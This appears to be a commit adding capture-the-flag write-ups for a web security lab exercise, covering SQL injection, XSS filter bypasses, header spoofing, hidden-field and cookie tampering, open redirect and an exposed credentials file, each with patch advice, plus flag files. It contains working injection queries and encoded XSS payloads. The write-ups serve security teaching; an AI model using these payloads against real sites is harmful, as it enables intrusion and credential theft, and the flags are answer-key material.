add readme for xss_feedback

Admin_sql_injection/README.md

@@ -0,0 +1,43 @@
+# SQL Injection on the Sign-In Page to Get the Flag
+
+## How We Found It  
+We started out on the sign-in page at:  
+`http://10.11.248.192/?page=signin`  
+Initially, we tried to brute-force the login but ran into a built-in delay (1 second per attempt). Instead, we looked for a SQL injection vulnerability in previous members page. Using a UNION-based injection, we first enumerated the available databases with:
+
+```sql
+1 UNION SELECT schema_name, NULL FROM information_schema.schemata
+```
+
+This revealed a database called **Member_Brute_Force**. Next, we listed its tables by running: 
+
+```sql
+UNION SELECT table_name, NULL FROM information_schema.tables WHERE table_schema=CHAR(77,101,109,98,101,114,95,66,114,117,116,101,95,70,111,114,99,101)
+```
+
+We found a table named **db_default**. To discover its structure, we enumerated its columns with:  
+
+```sql
+UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name=CHAR(100,98,95,100,101,102,97,117,108,116) AND table_schema=CHAR(77,101,109,98,101,114,95,66,114,117,116,101,95,70,111,114,99,101)
+```
+
+This revealed columns for id, username, and password. Finally, we extracted the login credentials using:  
+
+```sql
+UNION SELECT username, password FROM Member_Brute_Force.db_default
+```
+
+The injection returned two sets of credentials:  
+- **username:** root  
+- **password:** 3bf1114a986ba87ed28fc1b5884fc2f8  
+
+- **username:** admin  
+- **password:** 3bf1114a986ba87ed28fc1b5884fc2f8  
+
+After analyzing the hash, we figured out the actual password was "shadow". We then used the credentials **root/shadow** to sign in and got the flag.
+
+## Utility of It  
+This kind of SQL injection vulnerability is highly dangerous in real-world applications. By exploiting unsanitized user inputs, attackers can bypass authentication, access sensitive data, or even take over systems entirely. It’s a reminder of why securing database queries is so important.
+
+## How Can We Patch It  
+To prevent these attacks, always validate and sanitize user inputs. Use prepared statements or parameterized queries instead of directly building SQL strings. Additionally, limit the database privileges for the application user so that even if an injection occurs, the damage is minimized.

Admin_sql_injection/flag

@@ -0,0 +1 @@
+b3a6e43ddf8b4bbb4125e5e7d23040433827759d4de1c04ea63907479a80a6b2

XSS_bypass_encoding/README.md

@@ -0,0 +1,36 @@
+# XSS Vulnerability in the Clickable Image
+
+## How We Found It  
+On the homepage, we noticed a clickable image that led to a strange page at:  
+`http://10.11.248.192/?page=media&src=nsa`  
+At first, we suspected several issues, but then we saw our input was being injected inside an object's `data` attribute.  
+We tried a simple `javascript:alert(1)` payload, but it was blocked by JavaScript sanitization. Next, we exploited the unsanitized `data:text/html` scheme by injecting HTML directly for example, using:
+
+```html
+data:text/html,<h1>salut</h1>
+```
+
+Finally, we went for a more sophisticated payload:  
+
+```html
+data:text/html,<script>alert("XSS");</script>
+```
+This worked and showed an alert but didn’t trigger the flag system. We then encoded the script payload in base64 to bypass a sort of hardcoded "script" detection:
+
+```html
+data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+Cg==
+```
+
+Since the `+` character was being replaced by a space during URL encoding, we encoded the entire payload, resulting in:  
+
+```html
+data%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ%2BCg%3D%3D
+```
+
+This final payload delivered the flag.
+
+## Utility of It  
+XSS vulnerabilities can be extremely dangerous in real-world scenarios. They allow attackers to inject and execute arbitrary HTML or JavaScript in the browsers of other users. This can lead to session hijacking, defacement, or even full account takeover, making them a critical issue in web security.
+
+## How Can We Patch It  
+To fix this vulnerability, ensure that all user inputs injected into the page are properly sanitized and encoded, especially when used in sensitive attributes like `data`. Using Content Security Policy (CSP) headers can also help mitigate the impact of any XSS attacks that slip through.

XSS_bypass_encoding/flag

@@ -0,0 +1 @@
+928d819fc19405ae09921a2b71227bd9aba106f9d2d37ac412e9e5a750f1506d

headers_manipulation/README.md

@@ -0,0 +1,26 @@
+# Headers manipulation 
+
+## How We Found It
+the page where this was, is a little bit hidden, to go to this page, you have to click on the copyright notice in the footer. this page has nothing weird but when we open the html of the page, there is a comment saying :
+```
+You must come from : "https://www.nsa.gov/".
+```
+and another comment saying : 
+```
+Let's use this browser : "ft_bornToSec". It will help you a lot.
+```
+so using curl, I changed the `Referer` and `User-Agent` headers with this command :
+```
+curl "http://10.12.248.155/?page=b7e44c7a40c5f80139f0a50f3650fb2bd8d00b0d24667c4c2ca32c88e13b758f" -H "Referer: https://www.nsa.gov/" -H "User-Agent: ft_bornToSec"
+```
+
+## Utility of It
+- Lets an attacker bypass access restrictions by faking headers like Referer or User-Agent.
+- Can expose hidden or restricted content (like flags) without proper authentication.
+- Shows over-reliance on easily spoofed client headers.
+
+## How Can We Patch It
+- Never trust client-controlled headers for access control.
+- Use proper authentication and authorization mechanisms (e.g., sessions, tokens).
+- If headers must be checked, combine them with server-side checks.
+- Don’t leak hints or secrets in HTML comments.

hidden_field_manipulation/README.md

@@ -0,0 +1,17 @@
+# Hidden Field Manipulation
+
+## How We Found It
+On the sign-in page, there is a I forgot my password. This page contains just a submit button.
+when I open the html of the page, there is a hidden field, this hidden field contains an email.
+when we change the email and click submit, we get a flag.
+
+## Utility of It
+- Lets an attacker change internal data (like an email) sent to the server.
+- Can lead to unauthorized access, data leaks, or in this case, retrieving a flag.
+- Highlights trust in client-side values, which should never be trusted.
+
+## How Can We Patch It
+- Never rely on hidden fields for sensitive logic (e.g., user identity, permissions).
+- Always validate input server-side against the authenticated user/session.
+- Use server-side state instead of hidden form values when possible.
+- If form fields must be used, consider signing or encrypting them (with care).

open_redirect/README.md

@@ -0,0 +1,14 @@
+# Open redirect
+
+## How We Found It
+On the footer, there is buttons to go to the twitter, instagram and facebook page of 42. to redirect the links in the href are `?page=redirect&site=<service>`. so we tried changing the site to something else and got a flag
+
+## Utility of It
+- Allows attackers to redirect users to arbitrary URLs.
+- Can be used for phishing, token theft, or triggering unexpected behavior (like flag reveals in CTFs).
+- Often underestimated but can be chained with other bugs.
+
+## How Can We Patch It
+- Only allow redirects to a whitelisted set of domains.
+- Don’t take the redirect target directly from user input.
+- Consider showing a confirmation page before redirecting.

sensitive_file_exposure/README.md

@@ -0,0 +1,20 @@
+# Sensitive file exposure 
+
+## How We Found It
+in the `/robots.txt` page, there is a page called `/whatever` that is disallowed. when we go to `/whatever`, there is a file called htaccess that we can download. in this file there is just one line : 
+```
+root:437394baff5aa33daa618be47b75cb49
+```
+that looks like a user login and a password hashed using md5, so we decrypted it and got the password `qwerty123@`. This is intresting but where shoud we use it ?
+there is a page called `/admin`, on this page, there is a login and password prompt, when we enter the username and password found earlier, we get a flag.
+
+## Utility of It
+- Leaks credentials that can be used to access restricted areas (like /admin).
+- Can lead to full system compromise if reused elsewhere.
+- Highlights bad practice of storing sensitive data in web-accessible paths.
+
+## How Can We Patch It
+- Never expose sensitive files like `.htaccess`, `.env`, `config.php`, etc.
+- Properly configure the web server to deny access to such files.
+- Avoid storing plaintext or weakly hashed passwords in accessible locations.
+- Use strong hashing algorithms (e.g., bcrypt) and limit access to admin interfaces.

weak_cookie_auth/README.md

@@ -0,0 +1,24 @@
+# Weak auth via cookie
+
+## How We Found It
+On all the pages, if we have no cookies, the website gives us a cookie. the cookie is called `i_am_admin` and has this value : 
+```
+68934a3e9455fa72420237eb05902327
+```
+That look like a md5 hash. what if I decrypt it.  
+this is a hash of `false`.   
+what if I hash `true` and set it as the cookie.  
+when I do this. on all pages, there is an alert that gives me the flag
+
+## Utility of It
+- Allows an attacker to forge an admin session by reverse-engineering or guessing cookie values.
+- No need to log in or brute-force credentials — just manipulate a hash.
+- Can lead to privilege escalation, access to admin features, or flag retrieval in CTFs.
+
+## How Can We Patch It
+- Never rely on easily reversible or guessable values (like md5("true")) for auth.
+- Use secure session tokens, randomly generated and validated server-side.
+- Store roles (like admin/user) in a server-side session — not in a modifiable cookie.
+- Avoid using MD5 for any security-related checks; it's outdated and weak.
+- Sign cookies with a HMAC or encrypt them if you must store data client-side.
+

xss_feedback/README.md

@@ -0,0 +1,35 @@
+#  
+
+## How We Found It
+there is a page to leave a feedback at the bottom of the home page.
+on this page, there is two fields, name and message, in the message we can't input html, the tags get removed, however in the name field , we can put html.
+maybe we can put a script. let's write 
+```
+<script> alert("hello") </script>
+```
+There is a limit on the number of chars in the name field, but it's just a html limit, we can just modify it.
+it accepted the message but it removed the `<script>` and `</script>` of my message and my name is now `alert("hello")`.  
+so it does have some verification but not on everything. Maybe I can put a script on another tag.
+let's try this : 
+```
+<img src="javascript:alert("hello")>
+```
+It didn't work. the word javascript has been removed from the name. 
+let's try without the word javascript : 
+```
+<img src="a" onerror="alert('hello')">
+```
+it worked but we didn't get any flag
+after asking someone, we found out that this page has a problem.
+to get the flag, we have to just enter `script` or just any one of these leters `alertscript`
+
+## Utility of It
+- Allows attackers to inject JavaScript into the page.
+- Can be used to steal cookies, spoof content, or trigger flags in CTFs.
+- Shows how weak or naive filters can be bypassed with creative input
+
+## How Can We Patch It
+- Use proper HTML escaping/sanitization libraries (e.g., DOMPurify) instead of blacklists.
+- Never trust user input — encode everything before rendering.
+- Apply Content Security Policy (CSP) headers to block inline scripts.
+- Avoid inserting user input directly into the DOM without sanitizing it.